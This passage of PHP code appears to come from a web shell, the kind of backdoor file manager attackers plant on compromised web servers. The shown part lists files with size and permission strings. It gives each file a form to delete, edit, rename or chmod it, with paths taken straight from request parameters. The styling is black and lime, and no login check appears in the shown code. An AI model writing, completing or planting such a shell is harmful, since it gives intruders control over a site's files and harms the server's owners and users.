<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if(is_writable("$path/$file")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$file")) echo '<font color="#FF0004">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
<option value=\"chmod\">Chmod</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '</table>
</div>';
}

function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
</BODY>
</HTML>